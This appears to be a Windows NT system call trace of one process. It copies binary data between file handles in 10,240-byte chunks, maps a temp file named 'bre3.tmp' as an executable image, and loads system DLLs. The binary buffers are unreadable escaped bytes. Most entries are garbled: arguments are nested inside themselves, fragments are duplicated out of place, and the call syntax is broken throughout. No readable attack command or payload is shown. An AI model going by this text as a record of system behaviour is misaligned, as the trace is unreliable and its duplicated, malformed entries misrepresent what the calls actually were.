\237.\22/\231\227\220\360\1\34\310\354h'\230q\277\245\312\331rtLI\325\272\320\202\30\233S%\35\334Z\200\244S\331\250\267\271\202\214\36\365\233\311\302\37\213B\210\263#\243\237\323\260\251$\322r\251k\1\375\221\35T\255\2458\27drA\261\226#\320\261t\20j\257\353#\273\177\301\220{\212x\257\17\3403\17|\212h\350\356\374\305BJ\253p\250C\231\5S;\374\216X.\213\217\336\306\3\232z\367\332\345\30'\4\302\300)\10\200\23\272e\321\211\13\20\234\14\34\321\211IY\235?\10\14\240T)\277\315\25S0\302j\344\350\311\27J\2555\343Bm\202\30\365[+\360#\13\0\30\322\312:\177h\27w\12B\257\375\254\247\205\356\20\373\363\356\264\263\2\320\3515\357\26-\354$t\217\323\374z\261\241ww\224Q\14\243\346\253\367\240\357a\21\344\376i\250\213j\1\213UI\341\1\204\5\344\1\210\236r\340?\322\316\200", ) == 0x0
 00721  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "\23-\213\274\203:>\334\3755M\15\12\211\1\241\6\334\306\0\16y|\364f\313*\263\277\217W\2\327\5\225\32\307\11\304\231\232!\10\17\204\223'\353+E\344\35P+\4\202\371\232\35\257P\351}\217\10P\210\222\31v\11\10\216\224c_#  \277\317Tp\230\262\316\207s\226d\177\226|\314-\210\\266;\204\345\36\0\301HU|\2538\4\270\367C-\17dTB\0 \303\357T1\26\37\20\324\23\256\265J\6\247~\12\17[\25La\37t=iWP\300\26g\34O\245\253\255\222\374\254D\314x\353RWS\246Mut_W\0\24\360\308\276\2400\215p\30\367\244S\300@A\305\261\332p\15\211\12\202\353.\31\222K+\274\220\250\222\119J\320\250Y\1dd\220\250\33\234905\23\307c\227P\24\300\3\233[UP\252\200\2\22\247\206\273\220x\360\310dw\13\230\371\240\211\312QmXL\301\312\226\320\12\7\267S\255\2\360Z\10\273\177\331 \250\225\202\4\1\331\233A\3353\213\312\227\237#+\200\377\260!;\376r!t-\375\31\2x\255-'.7\354mm\261\36<\374\261\374\17F\257c<\227\177I\217W\212\360\260#\340\273\20P\212\340\367\302\374M]f\253\370\267o\231\215L\27\374\6G\2\213\7\301\352\3\22e\333\332m\7\13\4J\337\5\10\10\14\226eY\226'\20\24\36\30\34Y\226eY\25 $\14(K\5\277E\12\1770Ju\310\350A\10f\255\275\374nm\12\7\331[\243\357\17\13\210\7\376\312\262`D\27\377\25n\257u\263\213\205f\17\327\363f\253\237\2X\366\31\357\2362\300$\374\220\377\374\362\256\215w\377\213}\14+\371\207\367(\360M\21l\341E\250\3u-\213\335V\315\1\14\32\310\1\0\201^\340\267\315\342\200", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) , 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00722  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\253\3529\205\356Y\320\6\223k\247\22\215\304$s\247\304\262\242\346+\26C\26\35\316\6\231\360,2\17\3,rN\314\235\265\350\321\356\324\226\31\237\230\368\373\234\17\242\237[\30\233\234P\223GIO\201\312`\305t\316\371\247\240\237\255\21+\312'\14\3632\367\213\220N{\341\266Z3\237\336\330\377\364\267.\207w?\216{\3\254\340!~]\3324_\2734x\2244"\22\301\36\20\257%4}\262\360\256\233m\13\211U\265\3\232\37\3456\234\347}n/\267\275\12\302p\321\336\317\254.\316\233\242!\22\230\7\26\23762\17\367\375\324\303\363-UC\370\300\245\271\34+\20\335k\225\275=m\24\353}\303\347\35)\346\224O\177a\307\357\254n\370\342\5\376*\346<\1BMm\301v\323\205"\350\16\324\273\14~,,\0\214/\370\375.\336\243\325O}\351#\177\357\202\233{\24\213B\2454O\200\7-\346\321Gx2\10\266\342\370\334\255\374\262\232\247\376\22\237+;(\2374\334\323lF\354c\336\33O\17\216,\273DK\253'\260 \231tx\333\12|\376S\36\255{\37\2220\224\315\30-\1\365\11\261|\2543\304\0\374\224\36]\342\3j\354\231\353\6\361S\\353kgi/\", ) \22\301\36\20\257%4}\262\360\256\233m\13\211U\265\3\232\37\3456\234\347}n/\267\275\12\302p\321\336\317\254.\316\233\242!\22\230\7\26\23762\17\367\375\324\303\363-UC\370\300\245\271\34+\20\335k\225\275=m\24\353}\303\347\35)\346\224O\177a\307\357\254n\370\342\5\376*\346<\1BMm\301v\323\205 (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\253\3529\205\356Y\320\6\223k\247\22\215\304$s\247\304\262\242\346+\26C\26\35\316\6\231\360,2\17\3,rN\314\235\265\350\321\356\324\226\31\237\230\368\373\234\17\242\237[\30\233\234P\223GIO\201\312`\305t\316\371\247\240\237\255\21+\312'\14\3632\367\213\220N{\341\266Z3\237\336\330\377\364\267.\207w?\216{\3\254\340!~]\3324_\2734x\2244"\22\301\36\20\257%4}\262\360\256\233m\13\211U\265\3\232\37\3456\234\347}n/\267\275\12\302p\321\336\317\254.\316\233\242!\22\230\7\26\23762\17\367\375\324\303\363-UC\370\300\245\271\34+\20\335k\225\275=m\24\353}\303\347\35)\346\224O\177a\307\357\254n\370\342\5\376*\346<\1BMm\301v\323\205"\350\16\324\273\14~,,\0\214/\370\375.\336\243\325O}\351#\177\357\202\233{\24\213B\2454O\200\7-\346\321Gx2\10\266\342\370\334\255\374\262\232\247\376\22\237+;(\2374\334\323lF\354c\336\33O\17\216,\273DK\253'\260 \231tx\333\12|\376S\36\255{\37\2220\224\315\30-\1\365\11\261|\2543\304\0\374\224\36]\342\3j\354\231\353\6\361S\\353kgi/\", ) , ) == 0x0
 00723  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "#\365\25\205fF\374\6\33t\213\22\5\333\10s/\333\236\242n4:C\236\2\342\6\21\357\02\264r\356/\255\372;\373w\242}\31\260\21\35\353\373v\357\377l\377\7\16 \242\225\12;M\370\177\220\38\0\0\261u\213\264R\373x\311X\3150\334gA`\353\361\336\5\10\267-\227\344\206\234\231\245\350\320\16\304\30\266\375\370\7\350\13t(\31W\25]\253\200\27D\215_\4N\272\24\3406*\32\312U\30\24\311\31\270?2;7|\352o\257\330\347\201\200\14\330\20\340\202`\321\222\330\373j\6\304\14\264\346o\341m\227\267\203\377\355hA}\5\5\270Z\6\15\372Y\245\32\370\351\22\17\2133^ND\202\231\350Y\361\370\226\221\200\264\36\260\344\260\17*\200w\30\23\203|\223\317Vc\201B\177\351tF\0\35\247(\200\201\21\243\325\13\14{-\333\213\30QW\341>E\37\237V\307\323\364?1\253w\267\221W\3$\377\15~\325\305\30_3+T\224\274=>\301\226\17\203%\274b\236\360&\204A\13\1J\231\3\22\0\3116\24\370Qn\247\250\221\12Jo\375\336G\263\2\316\23\275\15\22\20\30:\237\276-#\367u\313\357\363\245Jo\370H\272\225\34\243\17\361k\35\242\21m\234\364Q\303o\2\5\346\34PSaO\360\200np\375)\376\242\371\20\1\312RA\301\376\314\251"`\21\370\273\204a\0,\210\223\3\370u1\362\243]PQ\351\253`\303\202\23d8\213\312\272\30O\10\30\1\346YXT2\200\251\316\370T\262\320\262\22\270\322\22\274\27(\27+\360\323\344Y\300cV\4c\17\63\227D\303\264\13\260\250\206XxS\25P\376\333\1\201{\227\215\34\224E\7\1\1}\26\235|$,\350\0t\2132]j\34F\354\21\364*\361\333C\307k\357v\3\", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) `\21\370\273\204a\0,\210\223\3\370u1\362\243]PQ\351\253`\303\202\23d8\213\312\272\30O\10\30\1\346YXT2\200\251\316\370T\262\320\262\22\270\322\22\274\27(\27+\360\323\344Y\300cV\4c\17\63\227D\303\264\13\260\250\206XxS\25P\376\333\1\201{\227\215\34\224E\7\1\1}\26\235|$,\350\0t\2132]j\34F\354\21\364*\361\333C\307k\357v\3\", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00724  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\353Q4!\244$\17\264\22\34ZB\311K'D\234\36Ot\310QHt\234xm\14@z\341\4\234'\17\220$T\273<\13;p\310\267W\305^\351\203\244\233\312G\17\364\313\326I(\364V \240 Ax\5\373\0\344\3\211\264fD\215\4\316\217\326\347H\211\34I\30\210!\10\313*5\364\7X\315\246A\242\237\274\204\314\345(\231\10\324%:\250Zz\7Q\364\2M\244h(\306\203\373`\201\313_\33\3~\327v+\313\223'|\340_b\232\234\36\260\254\30\210\335J\217P\212\357\331B\372*\3630}\274{\210/%8s,O7P\15\233\350\300h\24\314+$K\216\363I\13\314\17\178;\10\345\215\14\>\24\314\373\377\14\360\33>S\315\27\227\11\261\212\260S\275Z\24\35JO\364S\224pT3\204\210\21\204\34@\347E @xa4\327Z/\335\27\337EPp\375\267Dky\303\7\20\30t\247&\275_\315\343j\30\347\213f\232\245\216\17H0\230\254\220\223s/wf\245ap\23Hk\30\213x+\246\350?\225\1\128-\271\340\34\325 q\37?4\210H\24\217u\31\310\0\331\377.i:O^\3\335{JT\234\320\T\210?\256*0\306\202\27\332'<\344\377I\345&\217\7:P\231hz\1=\321=\27sl\354\354$\25\21\347\267LL\20\230\215-E\270\213|Th\341\23S@\16C\3512\363\250\346\203K~\2WC\347\30\250\256\272\334S\34\242p\211\15\307\2CX\220\367\242\346P\4\210X\364H\234, ) , ) == 0x0
 00725  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "cN\30!,;#\264\232\3vBAT\13D\24\1ct@Ndt\24gA\14\310e\315\4\248#\220\254K\227<\203$\\310?H\351^a\234\210\233BX#\364C\311e(|I\14\240\250^T\5s\37\310\3\1\253JD\5C\30\316\7\311\313H\1\3e\30\0>$\313\242*\330\7\320\322\212A*\200\220\204D\372\4\231\200\313\11: EV\7\331\353.M,w\4\306\13\344L\201C@7\3\366\310Z+C\214\13|h@N\232\24\1\234\254\220\227\361J\7O\246\357Q]\326*{/Q\274\363\227\3%\260l\0O\277O!\233`\337D\24D4\10K\6\354e\13D\20#8\263\27\311\215\204C\22\24D\344\323\14x\4\22SE\10\273\119\225\234S5E8\35\302P\330S\34ox3\14\227=\204\224_\313E\250_Ta\274\310v/U\10\363E\330o\321\267\314tU\303\217\174t/9\221_E\374F\30o\224J\232-\221#H\270\207\200\220\33l\3w\356\272Mp\233WG\30\3g\7\246` \271\1\202'\1\271h\3\371 \371\0\234\0W8\217\375\6\344\0Q\340\2i\262Pr\3UdfT\24\317pT\0 \202*\270\331\256\27R8\20\344wV\311&\7\30\26P\21wV\1\265\316\21\27\373s\300\354\254\12=\347?S`\20\20\222\1E0\224PT\340\376?S\310\21o\351\272\354\204\346\13TR\2\337\\313\30 \261\226\334\333\3\216p\1\22\353\2\313G\274\367*\371|\4\0G\330H\24#J.CI\2708Y\310\6\244\12\30\\242\4\373\14\2Mu\20\257H\3d\2\242\246Xhk\345gp\33\31\344\3\257,\311\3609\367\4\4\23\220\2\3\322\15\4\266\14\0\0\10\34\3\312\2264\3@ \23\275\205M", 10240, 0x0, 0, ... {status=0x0, info=10240}, ) , 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00726  1744   NtReadFile  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240},  (104, 0, 0, 0, 10240, 0x0, 0, ... {status=0x0, info=10240}, "\22_<\214\212\3<\205\3N7\27H$`8\331>\311R\345\270z\210x\241/|Bs\262\11\250A\274\346\223\337\351h~\20\1\330\230.\234Fc\343`\15\354\24W\301\204\37\364\17\264\25j\21L\11pkr?JA\225\36\370k\300\214&\345k\371\244a\347\307'+\203s\232\214\252\241<\201\212\275\307\3017\36J@4\306\7v\6\21\364\262\250_#\218/\264\315\302-a\263d:\267@\360\21\252\14A\322>\226\240W"\13\254_\357@\230Z\246\261\321\4\255|\354\25%\221\277\204)\20/\16\177\3605\334\236\11\301\24pBO\342\357?\23\352\217v]|\261\145p\203\351\336n\20\2\344\12\364\200\235\206\211\262\256@\26,\221>\14\256l\35\353\37\35\267\11\346;\345:\4", ) \13\254_\357@\230Z\246\261\321\4\255|\354\25%\221\277\204)\20/\16\177\3605\334\236\11\301\24pBO\342\357?\23\352\217v]|\261\145p\203\351\336n\20\2\344\12\364\200\235\206\211\262\256@\26,\221>\14\256l\35\353\37\35\267\11\346;266\261B\2Y\4-K\20Sk|\5;\25\5\370:\26\347\352\237\253\343:\204;7B\330\25x\20\200\11(M\216N\0\2\214\333Sd\215t8\6\316\273\274\11\236\24\256\242\34392#\321\2.=`\323\264\5i\212\3178\230\45\263\215PX\242b\15\272\260\2336\31\26\263\7*\234\336z\27;L}`\20\4\14\217\10\350\254\24$$8=I\300\207G\4\206/\\232\245d=n\205\367L\300\13~\34\211\2473\365\214Qo8\2t\21\17\250\220\335t\337\324\326\262-\207jN\236\315I}\21\214\1#\22\312\23j@\367M\236CB\25\236\14U\241$\3228\275\177\344\345\33@YK\264j\16\12\6\237%\25\20\216\336\273k\347FYs$6\204\177\263)\252\342\226A\204G\354\340\351#m\315\244\210\221\2\352N\20s\234\33\335NpM\332h\303\205t\237\231&\336\1\240}\221\11o(\277\226E\303 \224\201B\364\222I\255H\20\177\17vx>\345:\4", ) == 0x0
 00727  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "\232@\20\214\2\34\20\205\213Q\33\27\300;L8Q!\345Rm\247V\210\360\276\3|\312l\236\11 ^\220\346\33\300\305h\366\17-\330\201\260F\353\374L\15d\13{\301\14\0\330\17<\12F\21\304\26\k\372 fA\35\1\324kH\223\12\345\343\346\210ao\330\13+\13l\266\214"\276\20\201\2\242\353\301\277\1f@\274\331+v\216\16\330\262 @\17\21\2600\230\315J2M\263\354%\233@x\16\206\14\311\315\22\226(H\16\13$@\303@\20E\212\261Y\33\201|d\12\11\2217\233\5\20\247\21S\360\275\303\262\11I\13\B\307\3\36\357\267\14\306\217\376BP\261\204*\\203a\301B\20\212\373&\364\10\202\252\211:\261l\26\244\216\22\14&s1\353\227\2\233\11n$\20s\301.z\2669].Y\2142g\20\333tP\5\263\12)\370\262\11\313\352\27\264\317:\14$\33BP\12T\20\10\26\4M\6Q,\2\4\304\177d\5k\24\6F\244\220\11\26\13\202\242k&\36#Y\35\2=\350\314\230\5\341\225\3438\20\33\31\263\5Ot\242\352\22\226\260\23)5\26;\30\6\234Ve;;\304bL\20\214\23\243\10`\2638$\254'\21IH\230k\4\160p\232-{\21n\15\350`\300\203a0\211/,\331\214\331p\24\2\374\16#\250\30\302X\337\\311\236-\17ub\236EVQ\21\4\36\17\22B\14F@\177R\262C\312\12\262\14\335\276\10\322\260\242S\344m\4lY\303\253F\16\202\31\263%\235\17\242\3363t\313F\321l\106\14`\237)"\375\272A\14X\300\340a, 10240, 0x0, 0, ... {status=0x0, info=10240}, ) \276\20\201\2\242\353\301\277\1f@\274\331+v\216\16\330\262 @\17\21\2600\230\315J2M\263\354%\233@x\16\206\14\311\315\22\226(H\16\13$@\303@\20E\212\261Y\33\201|d\12\11\2217\233\5\20\247\21S\360\275\303\262\11I\13\B\307\3\36\357\267\14\306\217\376BP\261\204*\\203a\301B\20\212\373&\364\10\202\252\211:\261l\26\244\216\22\14&s1\353\227\2\233\11n$\20s\301.z\2669].Y\2142g\20\333tP\5\263\12)\370\262\11\313\352\27\264\317:\14$\33BP\12T\20\10\26\4M\6Q,\2\4\304\177d\5k\24\6F\244\220\11\26\13\202\242k&\36#Y\35\2=\350\314\230\5\341\225\3438\20\33\31\263\5Ot\242\352\22\226\260\23)5\26;\30\6\234Ve;;\304bL\20\214\23\243\10`\2638$\254'\21IH\230k\4\160p\232-{\21n\15\350`\300\203a0\211/,\331\214\331p\24\2\374\16#\250\30\302X\337\\311\236-\17ub\236EVQ\21\4\36\17\22B\14F@\177R\262C\312\12\262\14\335\276\10\322\260\242S\344m\4lY\303\253F\16\202\31\263%\235\17\242\3363t\313F\321l\106\14`\237) (108, 0, 0, 0, "\232@\20\214\2\34\20\205\213Q\33\27\300;L8Q!\345Rm\247V\210\360\276\3|\312l\236\11 ^\220\346\33\300\305h\366\17-\330\201\260F\353\374L\15d\13{\301\14\0\330\17<\12F\21\304\26\k\372 fA\35\1\324kH\223\12\345\343\346\210ao\330\13+\13l\266\214"\276\20\201\2\242\353\301\277\1f@\274\331+v\216\16\330\262 @\17\21\2600\230\315J2M\263\354%\233@x\16\206\14\311\315\22\226(H\16\13$@\303@\20E\212\261Y\33\201|d\12\11\2217\233\5\20\247\21S\360\275\303\262\11I\13\B\307\3\36\357\267\14\306\217\376BP\261\204*\\203a\301B\20\212\373&\364\10\202\252\211:\261l\26\244\216\22\14&s1\353\227\2\233\11n$\20s\301.z\2669].Y\2142g\20\333tP\5\263\12)\370\262\11\313\352\27\264\317:\14$\33BP\12T\20\10\26\4M\6Q,\2\4\304\177d\5k\24\6F\244\220\11\26\13\202\242k&\36#Y\35\2=\350\314\230\5\341\225\3438\20\33\31\263\5Ot\242\352\22\226\260\23)5\26;\30\6\234Ve;;\304bL\20\214\23\243\10`\2638$\254'\21IH\230k\4\160p\232-{\21n\15\350`\300\203a0\211/,\331\214\331p\24\2\374\16#\250\30\302X\337\\311\236-\17ub\236EVQ\21\4\36\17\22B\14F@\177R\262C\312\12\262\14\335\276\10\322\260\242S\344m\4lY\303\253F\16\202\31\263%\235\17\242\3363t\313F\321l\106\14`\237)"\375\272A\14X\300\340a, 10240, 0x0, 0, ... {status=0x0, info=10240}, ) , 10240, 0x0, 0, ... {status=0x0, info=10240}, ) == 0x0
 00728  1744   NtReadFile  (104, 0, 0, 0, 2048, 0x0, 0, ... {status=0x0, info=2048},  (104, 0, 0, 0, 2048, 0x0, 0, ... {status=0x0, info=2048}, "\310T,\0\330T,\0\354D,\0\374D,\0lv,\0|v,\0\214u,\0\204u,\0\234u,\0\224u,\0\254u,\0\244u,\0\274u,\0\264u,\0\314u,\0\304u,\0(u,\02+\0H2+\0^2+\0d2+\0\2111+\0\2221+\0\2471+\0\3141+\0\3261+\0\3611+\0\141+\0\21+\0\331+\0\271+\0\224\37:\0\237\375\0\234\374\0\235\376\0\214\37/\0\200\37+\0\216\37)\0\243\377\0\225\372\0\254\37\14\0\240\37\6\0\241\37\15\0\253\37\16\0\227\37\11\0\256\37\13\0\233\37=\0\232\37 \0\230\37"\0\207\37!\0\203\37&\0\201\37\0\0\210\37.\0\211\37\2\0\245\37,\0\210\37,\0\210\37,\0\210\37,@\254g\$\271-bm\375{\@\334QaU\314O,@\254g\$\271*bm", ) 2+\0H2+\0^2+\0d2+\0\2111+\0\2221+\0\2471+\0\3141+\0\3261+\0\3611+\0\141+\0\21+\0\331+\0\271+\0\224\37:\0\237\375\0\234\374\0\235\376\0\214\37/\0\200\37+\0\216\37)\0\243\377\0\225\372\0\254\37\14\0\240\37\6\0\241\37\15\0\253\37\16\0\227\37\11\0\256\37\13\0\233\37=\0\232\37 \0\230\37 (104, 0, 0, 0, 2048, 0x0, 0, ... {status=0x0, info=2048}, "\310T,\0\330T,\0\354D,\0\374D,\0lv,\0|v,\0\214u,\0\204u,\0\234u,\0\224u,\0\254u,\0\244u,\0\274u,\0\264u,\0\314u,\0\304u,\0(u,\02+\0H2+\0^2+\0d2+\0\2111+\0\2221+\0\2471+\0\3141+\0\3261+\0\3611+\0\141+\0\21+\0\331+\0\271+\0\224\37:\0\237\375\0\234\374\0\235\376\0\214\37/\0\200\37+\0\216\37)\0\243\377\0\225\372\0\254\37\14\0\240\37\6\0\241\37\15\0\253\37\16\0\227\37\11\0\256\37\13\0\233\37=\0\232\37 \0\230\37"\0\207\37!\0\203\37&\0\201\37\0\0\210\37.\0\211\37\2\0\245\37,\0\210\37,\0\210\37,\0\210\37,@\254g\$\271-bm\375{\@\334QaU\314O,@\254g\$\271*bm", ) , ) == 0x0
 00729  1744   NtWriteFile  (108, 0, 0, 0,  (108, 0, 0, 0, "@K\0\0PK\0\0d[\0\0t[\0\0\344i\0\0\364i\0\0\4j\0\0\14j\0\0\24j\0\0\34j\0\0$j\0\0,j\0\04j\0\0\0\37\0%\0&\0'\0\23\0\21\0\22\0\14\0\20\0\16\0\17\0\15\0\13\0\12\0\11\0,\0\0\0\2\0\1\0.\0-\0\0\0\0\0\0\0\0\0\0\0\0\0\0@$xp$12Nmudp@TNMUDP\0@$xp$15Nm", 2048, 0x0, 0, ... {status=0x0, info=2048}, ) \0\37\0%\0&\0'\0\23\0\21\0\22\0\14\0\20\0\16\0\17\0\15\0\13\0\12\0\11\0,\0\0\0\2\0\1\0.\0-\0\0\0\0\0\0\0\0\0\0\0\0\0\0@$xp$12Nmudp@TNMUDP\0@$xp$15Nm", 2048, 0x0, 0, ... {status=0x0, info=2048}, ) == 0x0
 00730  1744   NtClose  (108, ... ) == 0x0
 00731  1744   NtClose  (104, ... ) == 0x0
 00732  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.tmp"}, 1242360, ... ) }, 1242360, ... ) == 0x0
 00733  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.tmp"}, 5, 96, ... 104, {status=0x0, info=1}, ) }, 5, 96, ... 104, {status=0x0, info=1}, ) == 0x0
 00734  1744   NtCreateSection  (0xe, 0x0, 0x0, 16, 134217728, 104, ... 108, ) == 0x0
 00735  1744   NtClose  (104, ... ) == 0x0
 00736  1744   NtMapViewOfSection  (108, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 16, ... (0x390000), 0x0, 176128, ) == 0x0
 00737  1744   NtClose  (108, ... ) == 0x0
 00738  1744   NtUnmapViewOfSection  (-1, 0x390000, ... ) == 0x0
 00739  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.tmp"}, 1242668, ... ) }, 1242668, ... ) == 0x0
 00740  1744   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.tmp"}, 1242668, ... ) }, 1242668, ... ) == 0x0
 00741  1744   NtOpenFile  (0x100020, {24, 0, 0x40, 0, 0,  (0x100020, {24, 0, 0x40, 0, 0, "\??\C:\DOCUME~1\MARTIM~1\LOCALS~1\Temp\bre3.tmp"}, 5, 96, ... 108, {status=0x0, info=1}, ) }, 5, 96, ... 108, {status=0x0, info=1}, ) == 0x0
 00742  1744   NtCreateSection  (0xf, 0x0, 0x0, 16, 16777216, 108, ... 104, ) == 0x0
 00743  1744   NtQuerySection  (104, Image, 48, ... {section info, class 1, size 48}, 0x0, ) == 0x0
 00744  1744   NtClose  (108, ... ) == 0x0
 00745  1744   NtMapViewOfSection  (104, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0xaf0000), 0x0, 471040, ) == STATUS_IMAGE_NOT_AT_BASE
 00746  1744   NtMapViewOfSection  (104, -1, (0xaf0000), 0, 0, 0x0, 471040, 1, 0, 4, ... ) == STATUS_CONFLICTING_ADDRESSES
 00747  1744   NtFlushInstructionCache  (-1, 0, 0, ... ) == 0x0
 00748  1744   NtClose  (104, ... ) == 0x0
 00749  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 8, ) == 0x0
 00750  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 8, ... (0xb62000), 4096, 4, ) == 0x0
 00751  1744   NtFlushInstructionCache  (-1, 11935744, 4096, ... ) == 0x0
 00752  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00753  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00754  1744   NtFlushInstructionCache  (-1, 11935744, 4096, ... ) == 0x0
 00755  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "COMCTL32.DLL"}, ... 104, ) }, ... 104, ) == 0x0
 00756  1744   NtMapViewOfSection  (104, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x5d090000), 0x0, 630784, ) == 0x0
 00757  1744   NtClose  (104, ... ) == 0x0
 00758  1744   NtProtectVirtualMemory  (-1, (0x5d091000), 1656, 4, ... (0x5d091000), 4096, 32, ) == 0x0
 00759  1744   NtProtectVirtualMemory  (-1, (0x5d091000), 4096, 32, ... (0x5d091000), 4096, 4, ) == 0x0
 00760  1744   NtFlushInstructionCache  (-1, 1560875008, 1656, ... ) == 0x0
 00761  1744   NtProtectVirtualMemory  (-1, (0x5d091000), 1656, 4, ... (0x5d091000), 4096, 32, ) == 0x0
 00762  1744   NtProtectVirtualMemory  (-1, (0x5d091000), 4096, 32, ... (0x5d091000), 4096, 4, ) == 0x0
 00763  1744   NtFlushInstructionCache  (-1, 1560875008, 1656, ... ) == 0x0
 00764  1744   NtProtectVirtualMemory  (-1, (0x5d091000), 1656, 4, ... (0x5d091000), 4096, 32, ) == 0x0
 00765  1744   NtProtectVirtualMemory  (-1, (0x5d091000), 4096, 32, ... (0x5d091000), 4096, 4, ) == 0x0
 00766  1744   NtFlushInstructionCache  (-1, 1560875008, 1656, ... ) == 0x0
 00767  1744   NtProtectVirtualMemory  (-1, (0x5d091000), 1656, 4, ... (0x5d091000), 4096, 32, ) == 0x0
 00768  1744   NtProtectVirtualMemory  (-1, (0x5d091000), 4096, 32, ... (0x5d091000), 4096, 4, ) == 0x0
 00769  1744   NtFlushInstructionCache  (-1, 1560875008, 1656, ... ) == 0x0
 00770  1744   NtProtectVirtualMemory  (-1, (0x5d091000), 1656, 4, ... (0x5d091000), 4096, 32, ) == 0x0
 00771  1744   NtProtectVirtualMemory  (-1, (0x5d091000), 4096, 32, ... (0x5d091000), 4096, 4, ) == 0x0
 00772  1744   NtFlushInstructionCache  (-1, 1560875008, 1656, ... ) == 0x0
 00773  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00774  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00775  1744   NtFlushInstructionCache  (-1, 11935744, 4096, ... ) == 0x0
 00776  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00777  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00778  1744   NtFlushInstructionCache  (-1, 11935744, 4096, ... ) == 0x0
 00779  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "MPR.DLL"}, ... 104, ) }, ... 104, ) == 0x0
 00780  1744   NtMapViewOfSection  (104, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x71b20000), 0x0, 73728, ) == 0x0
 00781  1744   NtClose  (104, ... ) == 0x0
 00782  1744   NtProtectVirtualMemory  (-1, (0x71b21000), 440, 4, ... (0x71b21000), 4096, 32, ) == 0x0
 00783  1744   NtProtectVirtualMemory  (-1, (0x71b21000), 4096, 32, ... (0x71b21000), 4096, 4, ) == 0x0
 00784  1744   NtFlushInstructionCache  (-1, 1907494912, 440, ... ) == 0x0
 00785  1744   NtProtectVirtualMemory  (-1, (0x71b21000), 440, 4, ... (0x71b21000), 4096, 32, ) == 0x0
 00786  1744   NtProtectVirtualMemory  (-1, (0x71b21000), 4096, 32, ... (0x71b21000), 4096, 4, ) == 0x0
 00787  1744   NtFlushInstructionCache  (-1, 1907494912, 440, ... ) == 0x0
 00788  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00789  1744   NtProtectVirtualMemory  (-1, (0xb62000), 4096, 4, ... (0xb62000), 4096, 4, ) == 0x0
 00790  1744   NtFlushInstructionCache  (-1, 11935744, 4096, ... ) == 0x0
 00791  1744   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "OLE32.DLL"}, ... 104, ) }, ... 104, ) == 0x0
 00792  1744   NtMapViewOfSection  (104, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x774e0000), 0x0, 1298432, ) == 0x0
 00793  1744   NtClose  (104, ... ) == 0x0
 00794  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00795  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00796  1744   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00797  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00798  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00799  1744   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00800  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00801  1744   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00802  1744   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
